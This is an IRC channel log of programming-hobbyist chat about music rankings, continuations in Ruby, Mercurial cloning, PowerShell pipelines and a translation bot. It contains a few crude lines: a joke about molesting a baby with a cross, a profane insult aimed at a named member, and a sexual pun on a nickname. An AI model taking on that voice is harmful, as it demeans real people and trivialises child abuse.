xylophone is to the glockenspiel. < 1267831422 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Percussion instrument homomorphisms < 1267831434 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, zee4 is interesting < 1267831451 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, zee2 was a bit nervous if you see what I mea < 1267831452 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mean* < 1267831460 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I haven't a clue :P < 1267831462 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, zee1 was best IMO < 1267831463 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, you passed zee3. I take it that zee3 isn't particularly interesting? < 1267831473 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, we went over that one first didn't we? < 1267831478 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, right < 1267831495 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Ayy zee1 now I'm in Eastern Europe somewhere, possibly Prague < 1267831505 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh? < 1267831509 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I didn't feel that < 1267831513 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Someone is trying to sell me a watch! < 1267831518 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but zee1 with better samples = total win < 1267831543 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, zee4: Wait, why are we playing Perfect Dark in an n64 emulator? < 1267831546 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267831550 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :? < 1267831557 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, it makes me think of that game < 1267831570 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, never played it? < 1267831572 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Nope < 1267831580 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Did its music too use a heartbeat as a percussive instrument? < 1267831586 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, some levels have some music in the same style < 1267831589 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, no < 1267831595 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but other parts of it < 1267831601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :was similar < 1267831626 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, or it *MIGHT* have. I don't know < 1267831674 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Apparently, asking in ruby why the channel exists is a Frequently Asked Question, considering how someone said "We need an FAQ" < 1267831688 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, so total ordering: zee1 (needs better samples) > zee4 > the rest < 1267831732 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Gee, my favorites didn't even make the list :P < 1267831746 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, not my fault :P < 1267831819 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I think zee3 was at the bottom < 1267831823 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :zee5 just above it < 1267831827 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Wow X-D < 1267831830 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so that leaves zee2 in between < 1267831844 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION finds it somewhat difficult to form opinions sometimes
< 1267831852 0 :coppro!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1267831876 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, and zee2 felt towards the end like the performer had nervous reactions or something < 1267831900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I think it is the fast paced playing on Marimba that does it < 1267831912 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, apart from that zee2 is quite nice < 1267831968 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, oh and I don't really like accordion < 1267831975 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Bahaha < 1267831980 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :But there's accordion in zee1 :P < 1267831990 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, well, not as noticable < 1267832004 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Because it's not playing like an accordion. < 1267832011 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :In zee3 it's actually playing like an accordion. < 1267832013 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, that explains it! < 1267832132 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, zee5 could raise a lot of you could get a nicer wave form but keep the electronic feel < 1267832153 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, or maybe just fuzz out it or something < 1267832167 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so it didn't poke you in the ear basically < 1267832232 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :night → < 1267832364 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :zee5 > zee3 > zee1 > zee2 > zee4 < 1267832576 0 :jcp!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267832693 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, I can't even get to the end of zee4. < 1267832706 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :They took call/cc out of Ruby :( < 1267832734 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I thought someone told me here the other day they decided to put it back in < 1267832759 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :o.O? < 1267832760 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267832770 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :They will be removing and re-adding it to every other version from now on. < 1267832854 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hey, I can't blame them, I waffle plenty on my own designs < 1267833061 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :call/cc, though. < 1267833186 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I can imagine the arguments that must go on about it, on their mailing list. < 1267833220 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"No one uses that!" "I do!" "It's hard to implement efficiently on the JVM!" "That shouldn't be a consideration!" etc < 1267833227 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"call/cc is hard!" < 1267833234 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :basically, yes. < 1267833236 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"LOL USE LISP" < 1267833239 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"I'll call/cc your MOM hard!" < 1267833240 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :continuations make the baby jesus cry < 1267833253 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: That's quite ridiculous. < 1267833259 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Baby Jesus invented continuations. < 1267833280 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Sorry, I missed quote marks on that one. < 1267833286 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And it was an actual quote, too < 1267833292 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1267833314 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Continuations are, like, the ultimate form of flow control. < 1267833333 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Anonymous feedback from a classmate from when I took a programming languages class a few years ago < 1267833365 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :You take classes in which they teach continuations? < 1267833368 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is jealous
< 1267833425 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yes, it was nice of them. They *almost* managed to teach us monads in that cirriculum, too. < 1267833427 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :*Almost*. < 1267834143 0 :jcp!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267834212 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267834574 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :We got continuations on the second half of our Scheme course; and the course was dropped pretty much immediately after I had done it. They arranged it as a summer special once, but it might well be that we currently don't have any courses with continuations in them. < 1267834949 0 :alise!~d4b78c06@gateway/web/freenode/x-bnuilucdpwxfggom JOIN :#esoteric < 1267834951 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :10:42:18 Lambdas in C? Coincidentally, I have just discovered a marvellous little proof that no god can exist, written in CLambda, which this magin is too narrow to contain < 1267834955 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ssh -- pikhq is a christian < 1267834963 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he'll /maul/ you < 1267834986 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :He's Maulutheran. < 1267835002 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :10:47:38 ah, so this is one of those places that hg >> bza >> svn >> cvs == True < 1267835007 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no, that is just anmaster. < 1267835052 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: That was discussing *my code* you know. :P < 1267835062 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that was my point < 1267835071 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1267835086 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I freely admit my C lambda macros are an affront to all that is good in the world. < 1267835086 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's like using the cross to molest a baby: only kosher if you're simultaneously catholic and jewish (otherwise you don't care about kosherosity) < 1267835089 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267835163 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders what #esoteric 's opinion on git is. I kind of like the existance of GitHub
< 1267835182 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :i don't see what github has to do with git < 1267835189 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is a distributed version control luddite
< 1267835190 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :there could easily be svnhub or whatever.. < 1267835204 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Git is rather user-unfriendly, but it sucks less than non-distributed version control things, so. *shrug* < 1267835218 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If there are multiple repos, why are there still multiple branches? < 1267835254 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :The multiple repos I've got checked out on my filesystem are 96+% identical -- why aren't they sharing their data? < 1267835263 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, but there isn't, is there? < 1267835277 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Because filesystems suck. < 1267835286 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh sorry, I mean, I've got *cloned* < 1267835291 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I'm just saying that there needn't be any 'git' in github < 1267835300 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I agree that it's a good site though < 1267835307 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: That's no reason for hg to not understand the concept though < 1267835322 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Uhhh < 1267835323 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: File systems make data sharing difficult. < 1267835324 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It knows its data is immutable < 1267835326 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :They are hardlinked in hg < 1267835333 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267835333 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :UNIX ones less so than most others. < 1267835341 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And Gregor says hg does hardlinks, so. < 1267835357 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The .hg directory's contents are hardlinked when you hg clone. < 1267835380 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Ah. I see. I need to be cloning from a local repo in order for it to do that. < 1267835383 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION notes that COW is a good idea for any sort of on-hard disk serialisation scheme to have.
< 1267835390 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: ... uhh, yes? < 1267835394 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :How else could it possibly work? < 1267835395 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm cloning multiple copies of the same remote repo < 1267835400 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ahhhhh < 1267835402 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It should still be able to figure that out :) < 1267835403 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Well, it's not psychic. < 1267835412 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: ... It's not going to magically figure out that you're doing data sharing. < 1267835414 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :psychics < 1267835414 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, it should have a way for me to tell it < 1267835416 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :psychic control system < 1267835426 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: see this is just the kind of thing you need my OS for :P < 1267835428 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Clone from your clones. < 1267835431 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: There's a very simple way: Clone the remote one once, then clone that multiple times. < 1267835439 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: That tells it exactly what you want to tell it. < 1267835447 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Or use ehirdOS. < 1267835461 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yay complexity. < 1267835468 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267835483 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, I'll try it, and see if it makes my life any easier. < 1267835527 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But now the argument for supporting branches is even weaker :) < 1267835544 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Uh, no? < 1267835582 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :What advantage to branches have over just forking a clone? < 1267835592 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :*do < 1267835619 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ehirdOS certainly makes your life easier, as long as you have no attachment to existing software suites whatsoever :P < 1267835622 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or interfaces... < 1267835630 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or languages, or APIs. < 1267835657 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :A branch notes that the branch was made, allows you to merge things more readily, and... Yeah. < 1267835677 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :12:11:39 the vulgar sense of "classical" music < 1267835689 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :12:11:44 I call "art music" < 1267835714 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'm pretty sure that's called "concert music". < 1267835716 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :...and makes my life hell during merges, is all I'm sayin' :) < 1267835731 0 :alise_!~d4b78c06@gateway/web/freenode/x-kwestmuazxheyavx JOIN :#esoteric < 1267835733 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: ... no. < 1267835742 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: No? Okay then. < 1267835756 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"Art music" is really a rather arrogant phrase. Particularly since... Other music is (or at least can be) an art. < 1267835783 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Orchestral music, maybe? Although there's orchestral rock, even. < 1267835794 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Let's just call it composer music, because composers are the only ones who listen to it :) < 1267835809 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Definitely no on both counts. < 1267835814 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :why not call it classical music? < 1267835819 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what's wrong with that? < 1267835830 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Because that's music from a specific period with a very specific style. < 1267835835 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267835839 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lament: Because AnMaster is a pretentious fuck who lives in the 1800s who is also a gigantic prescriptivist. < 1267835842 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Because classical is an era. By calling all music of the form classical music, you've removed the name from that era. < 1267835846 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(An era and a style) < 1267835848 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :that's a *different* meaning of the word "classical" < 1267835854 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yay < 1267835859 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :'Night folks. Have a good weekend. < 1267835865 0 :cpressey!unknown@unknown.invalid PART #esoteric :? < 1267835875 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it's ok to have multiple meanings if there's no confusion < 1267835878 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :and there's no confusion < 1267835881 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :There is MUCH confusion. < 1267835893 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :which is why people call classical music classical music, and they call classical music classical music, and nobody is confused. < 1267835898 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Only amongst yourselves. < 1267835905 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Just call it the classical period. < 1267835910 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Classical period music. < 1267835911 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :everybody knows that "classical music" means two different things < 1267835924 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :"classical" refers to ancient greece anyway < 1267835929 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :so there're at least 3 meanings < 1267835930 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Classical music is the style of music from the classical period, classical music does not need to be from the classical period. < 1267835960 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267835970 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The problem is there's not a term for the music in question here. < 1267835976 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I suggest ucodnawg. < 1267836080 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You're the man now, ucodnawg < 1267836091 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Shaddap < 1267836107 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also, it turns out windows 7 ships with something genuinely interesting < 1267836112 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(As opposed to morbidly curious) < 1267836143 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what's more, it's programming-related < 1267836180 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh? < 1267836248 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yes. PowerShell, in particular. Take, for instance, the seemingly-trivial "type | ls". < 1267836266 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Dealiased, Get-Content | Get-SubItem. < 1267836272 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But what happens when you run it? < 1267836293 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Erm. Failure, because I made a mistake X-D < 1267836305 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Take "echo | ls". < 1267836320 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :That is, Write-Output | Get-SubItem. < 1267836324 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :When run: < 1267836357 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cmdlet Write-Output at command pipeline position 1 < 1267836375 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Supply values for the following parameters: < 1267836387 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :InputObject[0]: . < 1267836398 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :InputObject[1]: Music < 1267836399 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah. PowerShell -- damned verbose shell, but flexible. < 1267836403 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :InputObject[2]: < 1267836408 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :[humdrum dir listing] < 1267836417 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The interesting thing is the flexibility. < 1267836427 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :echo doesn't just print some strings to standard output. < 1267836443 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It uses a generalised object input mechanism - command-line or interactive - and sends those objects along the pipeline. < 1267836458 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Get-SubItem actually takes a legitimate resource, not just a path name, and lists its subitems. Not just directories, either. < 1267836476 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It strikes me as similar to concatenative languages. < 1267836538 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267836541 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ChildItem, not SubItem. < 1267836564 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1267836599 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :In fact the input/output UI + behind the scenes, rich objects idea is tempting for my OS. < 1267836617 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :interfaces are composable because they're just functions with seasoning < 1267836633 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(and even unannotated functions get simple "default" UIs) < 1267836895 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :13:25:21 btw, has anyone invoked rule 34 on rule 34? < 1267836903 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes; was fulfilled with wolfram elementary automation 34 < 1267836929 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :13:27:11 (be aware of that tvtroupes is highly addictive!) < 1267836929 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Tropes. < 1267837067 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Later < 1267837186 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :GUILTY! < 1267837407 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Meggricxshienneh. < 1267837676 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Welcome to the Tableauic Home of the Emigrants. < 1267837758 0 :oklokok!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267837782 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267837821 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yo oklokok < 1267837845 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I should stop worrying about ehird < 1267837954 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267837961 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Worry about okloCOCK instead. < 1267837986 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: why? < 1267838021 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :okloCOCK taught me something awesome < 1267838162 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And that is? < 1267838180 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, kind of like combinator logic excep they don't reduce < 1267838197 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :this word problem stuff which I had never actaully encountered < 1267838216 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it feels a little bit like diophantine equations too < 1267838286 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :; < 1267838319 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :I tried reading the Diophante book once < 1267838326 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :The notation is pretty old school < 1267838326 0 :angstrom_!unknown@unknown.invalid NICK :angstrom < 1267838333 0 :oklokok!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1267838759 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267838762 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :THE diophantine book? < 1267838850 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Yeah < 1267838854 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Arithmetica < 1267839187 0 :oklokok!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1267839224 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267839354 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ohh < 1267839357 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Gauss? < 1267839384 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :oh it's by Diophantus < 1267839385 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1267839390 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Id not heard of this somehow < 1267839398 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :is it wort reading? < 1267839432 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :x < 1267839445 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Well, I only found a version in greek with a latin translation < 1267839450 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :So it's a bit hard to follow < 1267839455 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267839462 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :I can read the equations now, but not much else < 1267839524 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :I tried making this : http://esolangs.org/wiki/User:Slereah/Arithmetica < 1267839574 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :cool < 1267839725 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Ang. plass til barnevogner: < 1267839738 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Regarding space for prams: < 1267839746 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :`swedish Ang. plass til barnevogner: < 1267839747 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Ung. pless teel bernefugner: < 1267839753 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Tro meg, plassen er et betraktelig større problem enn å få vognen inn og ut. < 1267839755 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Believe me, the place is a considerably larger problem than to get the cart in and out. < 1267839771 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Nå har riktignok mange kvinner kommet frem til en eller annen "vedtatt sannhet" om at det ikke er mulig å bære en liten vogn opp tre trappetrinn alene, selv når det gjelder små triller som man lett får grep på, men det er et forsvinnende problem ettersom de aller fleste nyere busser her er trappeløse. < 1267839773 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :because the vast majority of newer buses here are step-less. < 1267839804 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I wish somebody who was totally not me would fix translatefromto and translateto :P < 1267839815 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :We just need to make a copy of Gregor. < 1267839821 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm... < 1267839826 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I would like to be a copy of you. < 1267839826 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That person would not be "totally not me" < 1267839830 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That person would be "mostly me" < 1267839840 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You may commence sending yourself. < 1267840080 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A truly set language would be fun. < 1267840115 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :{ {x,{x,x}} | x <- a } is id < 1267840158 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :{ {x,{x,{{y,{y,y}}}}} | x <- a, y <- b } is K < 1267840185 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :where (x,y) = {x,{x,y}} and \x.y is {{x',y'},...} for all values < 1267840273 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alis lool enjoy your russles paradox < 1267840274 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :{ {n} U n | n <- a } is succ (U=union, I probably got it the wrong way around again :)) < 1267840294 0 